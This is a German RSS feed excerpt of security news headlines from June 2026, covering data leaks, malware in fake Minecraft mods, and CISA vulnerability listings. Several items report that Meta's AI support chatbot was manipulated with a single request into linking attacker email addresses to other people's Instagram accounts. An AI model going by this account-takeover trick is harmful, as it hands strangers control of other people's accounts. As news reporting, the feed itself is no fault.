<description><![CDATA[Instagram-Nutzer gaben an, dass ihre Konten am Wochenende gehackt worden seien. Der Angriff ging auf eine Schwachstelle bei Meta zur&uuml;ck. ]]></description>
<link>https://tsecurity.de/de/3570238/IT+Sicherheit/Hacker/Instagram-Konten+%C3%BCber+Metas+KI-Chatbot+gehackt%3F+Einfache+Anfrage+reichte+offenbar+aus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570238/IT+Sicherheit/Hacker/Instagram-Konten+%C3%BCber+Metas+KI-Chatbot+gehackt%3F+Einfache+Anfrage+reichte+offenbar+aus/</guid>
<pubDate>Wed, 03 Jun 2026 17:41:50 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Cybersicherheit spielerisch vermitteln - IHK-Magazin]]></title> 
<description><![CDATA[Cybersicherheit neu gedacht: Das erste IHK-Gaminar zeigt, wie spielerische Formate Awareness und Sicherheitsbewusstsein st&auml;rken. ]]></description>
<link>https://tsecurity.de/de/3570237/IT+Sicherheit/Hacker/Cybersicherheit+spielerisch+vermitteln+-+IHK-Magazin/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570237/IT+Sicherheit/Hacker/Cybersicherheit+spielerisch+vermitteln+-+IHK-Magazin/</guid>
<pubDate>Wed, 03 Jun 2026 17:56:20 +0200</pubDate>
</item>
<item> 
<title><![CDATA[«Dümmste Sicherheitslücke»: Hacker kapern reihenweise Instagram-Konten mit einem Satz]]></title> 
<description><![CDATA[Ein einziger Satz gen&uuml;gte. Hacker schrieben Metas KI-Support-Chatbot an und baten ihn, eine neue E-Mail-Adresse mit einem fremden Instagram-Konto&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3570107/IT+Sicherheit/Hacker/%C2%ABD%C3%BCmmste+Sicherheitsl%C3%BCcke%C2%BB%3A+Hacker+kapern+reihenweise+Instagram-Konten+mit+einem+Satz/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570107/IT+Sicherheit/Hacker/%C2%ABD%C3%BCmmste+Sicherheitsl%C3%BCcke%C2%BB%3A+Hacker+kapern+reihenweise+Instagram-Konten+mit+einem+Satz/</guid>
<pubDate>Wed, 03 Jun 2026 09:28:33 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Gartner sieht Angreifer bei vier Bedrohungen klar im Vorteil - it-daily.net]]></title> 
<description><![CDATA[Deepfakes, kompromittierte KI-Anwendungen, Prompt Injection und Angriffe auf die Software-Lieferkette: Bei diesen vier Bedrohungen haben es&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3570106/IT+Sicherheit/Hacker/Gartner+sieht+Angreifer+bei+vier+Bedrohungen+klar+im+Vorteil+-+it-daily.net/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570106/IT+Sicherheit/Hacker/Gartner+sieht+Angreifer+bei+vier+Bedrohungen+klar+im+Vorteil+-+it-daily.net/</guid>
<pubDate>Wed, 03 Jun 2026 13:43:13 +0200</pubDate>
</item>
<item> 
<title><![CDATA[White-Hat-Hacker erlangt 2 Mio. US-Dollar aus ICO-Fonds zurück – und zeigt, wie riskant ...]]></title> 
<description><![CDATA[F&uuml;r Unternehmen, die Krypto-Assets verwalten, r&uuml;ckt damit nicht nur die Wiederherstellung von Geldern, sondern auch die robuste Governance bei Token-&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3570105/IT+Sicherheit/Hacker/White-Hat-Hacker+erlangt+2+Mio.+US-Dollar+aus+ICO-Fonds+zur%C3%BCck+%E2%80%93+und+zeigt%2C+wie+riskant+.../</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570105/IT+Sicherheit/Hacker/White-Hat-Hacker+erlangt+2+Mio.+US-Dollar+aus+ICO-Fonds+zur%C3%BCck+%E2%80%93+und+zeigt%2C+wie+riskant+.../</guid>
<pubDate>Wed, 03 Jun 2026 14:24:47 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Fast 400 Autoren “geklaut”, “Nius”-Werbung, Investigativ wird riskanter - BILDblog]]></title> 
<description><![CDATA[Matthias Meisner kritisiert die &ldquo;Ostdeutsche Allgemeine Zeitung&rdquo; (&ldquo;OAZ&rdquo;) von Verleger Holger Friedrich wegen einer offenbar falschen Autoren- und&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3570104/IT+Sicherheit/Hacker/Fast+400+Autoren+%E2%80%9Cgeklaut%E2%80%9D%2C+%E2%80%9CNius%E2%80%9D-Werbung%2C+Investigativ+wird+riskanter+-+BILDblog/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570104/IT+Sicherheit/Hacker/Fast+400+Autoren+%E2%80%9Cgeklaut%E2%80%9D%2C+%E2%80%9CNius%E2%80%9D-Werbung%2C+Investigativ+wird+riskanter+-+BILDblog/</guid>
<pubDate>Wed, 03 Jun 2026 14:55:17 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Hacker-Angriff auf die Universität - SR.de]]></title> 
<description><![CDATA[Die Polizei hat einen Hacker-Angriff auf die Universit&auml;t des Saarlandes best&auml;tigt. Nach Polizeiangaben erfolgte der Angriff am 24.April. ]]></description>
<link>https://tsecurity.de/de/3570103/IT+Sicherheit/Hacker/Hacker-Angriff+auf+die+Universit%C3%A4t+-+SR.de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570103/IT+Sicherheit/Hacker/Hacker-Angriff+auf+die+Universit%C3%A4t+-+SR.de/</guid>
<pubDate>Wed, 03 Jun 2026 15:14:22 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Bei Hackerangriff Daten von Studierenden der Saar-Uni geklaut - SR]]></title> 
<description><![CDATA[Bei einem Cyberangriff hat sich ein Hacker Zugang zu Daten von Studierenden der Saar-Uni verschafft. Insgesamt sind mehr als 40.000 Profile auf&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3570102/IT+Sicherheit/Hacker/Bei+Hackerangriff+Daten+von+Studierenden+der+Saar-Uni+geklaut+-+SR/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570102/IT+Sicherheit/Hacker/Bei+Hackerangriff+Daten+von+Studierenden+der+Saar-Uni+geklaut+-+SR/</guid>
<pubDate>Wed, 03 Jun 2026 15:39:04 +0200</pubDate>
</item>
<item> 
<title><![CDATA[War es Hackern möglich, über Meta AI Instagram-Accounts zu kapern? - Mimikama]]></title> 
<description><![CDATA[Ja, es war m&ouml;glich, &uuml;ber Metas KI-Support Instagram-Konten zu kapern. Der Bot akzeptierte teils neue Mailadressen f&uuml;r fremde Accounts. ]]></description>
<link>https://tsecurity.de/de/3570101/IT+Sicherheit/Hacker/War+es+Hackern+m%C3%B6glich%2C+%C3%BCber+Meta+AI+Instagram-Accounts+zu+kapern%3F+-+Mimikama/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570101/IT+Sicherheit/Hacker/War+es+Hackern+m%C3%B6glich%2C+%C3%BCber+Meta+AI+Instagram-Accounts+zu+kapern%3F+-+Mimikama/</guid>
<pubDate>Wed, 03 Jun 2026 15:53:15 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Über 2.000 infizierte Minecraft-Fans täglich: Wer diese kostenlosen Mods lädt, fängt sich Viren ein]]></title> 
<description><![CDATA[Wer leidenschaftlich Minecraft zockt, sollte aktuell besonders vorsichtig sein. Unter anderem in gef&auml;lschten Videos bewerben Kriminelle Fake-Mods,&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3570100/IT+Sicherheit/Hacker/%C3%9Cber+2.000+infizierte+Minecraft-Fans+t%C3%A4glich%3A+Wer+diese+kostenlosen+Mods+l%C3%A4dt%2C+f%C3%A4ngt+sich+Viren+ein/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570100/IT+Sicherheit/Hacker/%C3%9Cber+2.000+infizierte+Minecraft-Fans+t%C3%A4glich%3A+Wer+diese+kostenlosen+Mods+l%C3%A4dt%2C+f%C3%A4ngt+sich+Viren+ein/</guid>
<pubDate>Wed, 03 Jun 2026 16:10:17 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Data leak at «Schuelfoti»: Hackers threaten to publish children's photos - YouTube]]></title> 
<description><![CDATA[Tausende sensible Kinderfotos und pers&ouml;nliche Daten von Schweizer Sch&uuml;lern wurden bei einem Hackerangriff auf eine deutsche Foto-Firma gestohlen. ]]></description>
<link>https://tsecurity.de/de/3569706/IT+Sicherheit/Hacker/Data+leak+at+%C2%ABSchuelfoti%C2%BB%3A+Hackers+threaten+to+publish+children%27s+photos+-+YouTube/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3569706/IT+Sicherheit/Hacker/Data+leak+at+%C2%ABSchuelfoti%C2%BB%3A+Hackers+threaten+to+publish+children%27s+photos+-+YouTube/</guid>
<pubDate>Wed, 03 Jun 2026 13:36:31 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Meta KI-Chatbot: Hacker übernahmen fremde Instagram-Konten über Support - T-Online]]></title> 
<description><![CDATA[Angreifer haben mit Hilfe von Metas Chatbot fremde Instagram-Konten &uuml;bernommen. Betroffen war auch ein altes Profil des Wei&szlig;en Hauses. ]]></description>
<link>https://tsecurity.de/de/3569705/IT+Sicherheit/Hacker/Meta+KI-Chatbot%3A+Hacker+%C3%BCbernahmen+fremde+Instagram-Konten+%C3%BCber+Support+-+T-Online/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3569705/IT+Sicherheit/Hacker/Meta+KI-Chatbot%3A+Hacker+%C3%BCbernahmen+fremde+Instagram-Konten+%C3%BCber+Support+-+T-Online/</guid>
<pubDate>Wed, 03 Jun 2026 14:37:28 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Bunt und abwechslungsreich: Das ist beim Altstadtfest in Herzogenaurach geboten - NN.de]]></title> 
<description><![CDATA[Herzogenaurach - Vereine, Musik und Familienangebote pr&auml;gen das dreit&auml;gige Altstadtfest ab Samstag, 5. Juni, in Herzogenaurach. ]]></description>
<link>https://tsecurity.de/de/3569509/IT+Sicherheit/Hacker/Bunt+und+abwechslungsreich%3A+Das+ist+beim+Altstadtfest+in+Herzogenaurach+geboten+-+NN.de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3569509/IT+Sicherheit/Hacker/Bunt+und+abwechslungsreich%3A+Das+ist+beim+Altstadtfest+in+Herzogenaurach+geboten+-+NN.de/</guid>
<pubDate>Wed, 03 Jun 2026 13:41:36 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Meta KI-Fehler: Hacker übernahmen 100 Instagram-Profile in zwei Tagen - BornCity]]></title> 
<description><![CDATA[Ein Logikfehler im KI-Support-Assistenten von Meta erlaubte Hackern die Kontrolle &uuml;ber prominente Instagram-Profile zu erlangen. ]]></description>
<link>https://tsecurity.de/de/3569325/IT+Sicherheit/Hacker/Meta+KI-Fehler%3A+Hacker+%C3%BCbernahmen+100+Instagram-Profile+in+zwei+Tagen+-+BornCity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3569325/IT+Sicherheit/Hacker/Meta+KI-Fehler%3A+Hacker+%C3%BCbernahmen+100+Instagram-Profile+in+zwei+Tagen+-+BornCity/</guid>
<pubDate>Wed, 03 Jun 2026 07:28:26 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Datenlecks: ShinyHunters veröffentlicht Millionen Kundendaten am 2. Juni - BornCity]]></title> 
<description><![CDATA[Hacker ver&ouml;ffentlichen gestohlene Daten von Charter, Carnival und IIT Roorkee. Millionen Nutzer sind von den Leaks betroffen. ]]></description>
<link>https://tsecurity.de/de/3569324/IT+Sicherheit/Hacker/Datenlecks%3A+ShinyHunters+ver%C3%B6ffentlicht+Millionen+Kundendaten+am+2.+Juni+-+BornCity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3569324/IT+Sicherheit/Hacker/Datenlecks%3A+ShinyHunters+ver%C3%B6ffentlicht+Millionen+Kundendaten+am+2.+Juni+-+BornCity/</guid>
<pubDate>Wed, 03 Jun 2026 08:58:42 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Hacker haben die künstliche Intelligenz von Instagram ausgetrickst, um Nutzerprofile zu übernehmen]]></title> 
<description><![CDATA[Das soziale Netzwerk Instagram hat bekannt gegeben, dass es ein Sicherheitsproblem behoben hat, das es Hackern erm&ouml;glichte, sein Support-Tool mit&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3569323/IT+Sicherheit/Hacker/Hacker+haben+die+k%C3%BCnstliche+Intelligenz+von+Instagram+ausgetrickst%2C+um+Nutzerprofile+zu+%C3%BCbernehmen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3569323/IT+Sicherheit/Hacker/Hacker+haben+die+k%C3%BCnstliche+Intelligenz+von+Instagram+ausgetrickst%2C+um+Nutzerprofile+zu+%C3%BCbernehmen/</guid>
<pubDate>Wed, 03 Jun 2026 09:37:37 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Recycling sollte inzwischen funktionieren. Warum es immer noch nicht klappt. - Quartz]]></title> 
<description><![CDATA[Der Gro&szlig;teil des recycelbaren Materials verl&auml;sst niemals das Haus. Was gesammelt wird, ist mit Verunreinigungen konfrontiert, schwachen M&auml;rkten&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3569322/IT+Sicherheit/Hacker/Recycling+sollte+inzwischen+funktionieren.+Warum+es+immer+noch+nicht+klappt.+-+Quartz/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3569322/IT+Sicherheit/Hacker/Recycling+sollte+inzwischen+funktionieren.+Warum+es+immer+noch+nicht+klappt.+-+Quartz/</guid>
<pubDate>Wed, 03 Jun 2026 09:53:03 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Sapphire Sleet: Nordkoreas Hackergruppe zielt auf Krypto-Entwickler - BornCity]]></title> 
<description><![CDATA[Eine gro&szlig;angelegte Angriffswelle der Gruppe Sapphire Sleet zielt auf Krypto-Wallets und sensible Zugangsdaten von Web3-Entwicklern. ]]></description>
<link>https://tsecurity.de/de/3569321/IT+Sicherheit/Hacker/Sapphire+Sleet%3A+Nordkoreas+Hackergruppe+zielt+auf+Krypto-Entwickler+-+BornCity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3569321/IT+Sicherheit/Hacker/Sapphire+Sleet%3A+Nordkoreas+Hackergruppe+zielt+auf+Krypto-Entwickler+-+BornCity/</guid>
<pubDate>Wed, 03 Jun 2026 09:56:52 +0200</pubDate>
</item>
<item> 
<title><![CDATA[POL-PDLU: Bekannte Betrugsmasche über WhatsApp - Presseportal]]></title> 
<description><![CDATA[Polizeidirektion Ludwigshafen - Ludwigshafen - Am Dienstag, den 02.06.2026 erschien ein 28-J&auml;hriger ...✚ Mehr lesen. ]]></description>
<link>https://tsecurity.de/de/3569320/IT+Sicherheit/Hacker/POL-PDLU%3A+Bekannte+Betrugsmasche+%C3%BCber+WhatsApp+-+Presseportal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3569320/IT+Sicherheit/Hacker/POL-PDLU%3A+Bekannte+Betrugsmasche+%C3%BCber+WhatsApp+-+Presseportal/</guid>
<pubDate>Wed, 03 Jun 2026 10:35:52 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Angreifer warten nicht damit, Schwachstellen auszunutzen - it-daily.net]]></title> 
<description><![CDATA[Zeit ist beim Patch-Management alles. Das Zeitfenster zwischen der Meldung einer Schwachstelle und dem Einsatz eines Softwareupdates ist&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3569319/IT+Sicherheit/Hacker/Angreifer+warten+nicht+damit%2C+Schwachstellen+auszunutzen+-+it-daily.net/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3569319/IT+Sicherheit/Hacker/Angreifer+warten+nicht+damit%2C+Schwachstellen+auszunutzen+-+it-daily.net/</guid>
<pubDate>Wed, 03 Jun 2026 11:03:13 +0200</pubDate>
</item>
<item> 
<title><![CDATA[U.S. CISA adds Android and Linux Kernel flaws to its Known Exploited Vulnerabilities catalog]]></title> 
<description><![CDATA[U.S. Cybersecurity and Infrastructure Security Agency (CISA) adds Android&nbsp;and Linux Kernel flaws to its Known Exploited Vulnerabilities catalog. The U.S. Cybersecurity and Infrastructure Security Agency (CISA)&nbsp;added Windows Shell and ConnectWise ScreenConnect flaws to its Known Exploited Vulnerabilities (KEV) catalog. Below are the flaws added to the catalog: The first flaw added to the catalog, tracked [&hellip;] ]]></description>
<link>https://tsecurity.de/de/3569318/IT+Sicherheit/Hacker/U.S.+CISA+adds+Android%C2%A0and+Linux+Kernel+flaws+to+its+Known+Exploited+Vulnerabilities+catalog/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3569318/IT+Sicherheit/Hacker/U.S.+CISA+adds+Android%C2%A0and+Linux+Kernel+flaws+to+its+Known+Exploited+Vulnerabilities+catalog/</guid>
<pubDate>Wed, 03 Jun 2026 12:43:39 +0200</pubDate>
</item>
<item> 
<title><![CDATA[FPÖ - Schütz: Patientenanwalt bestätigt dramatisches Versagen von Hacker und Wiener ...]]></title> 
<description><![CDATA[&quot;Der aktuelle Bericht des Wiener Patientenanwalts ist eine vernichtende Bilanz f&uuml;r die Gesundheitspolitik von SP&Ouml;-Gesundheitsstadtrat Peter Hacker&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3569317/IT+Sicherheit/Hacker/FP%C3%96+-+Sch%C3%BCtz%3A+Patientenanwalt+best%C3%A4tigt+dramatisches+Versagen+von+Hacker+und+Wiener+.../</link>
<guid isPermaLink="true">https://tsecurity.de/de/3569317/IT+Sicherheit/Hacker/FP%C3%96+-+Sch%C3%BCtz%3A+Patientenanwalt+best%C3%A4tigt+dramatisches+Versagen+von+Hacker+und+Wiener+.../</guid>
<pubDate>Wed, 03 Jun 2026 12:46:49 +0200</pubDate>
</item>
</channel> 
</rss>
<!-- Generated in 0,21ms -->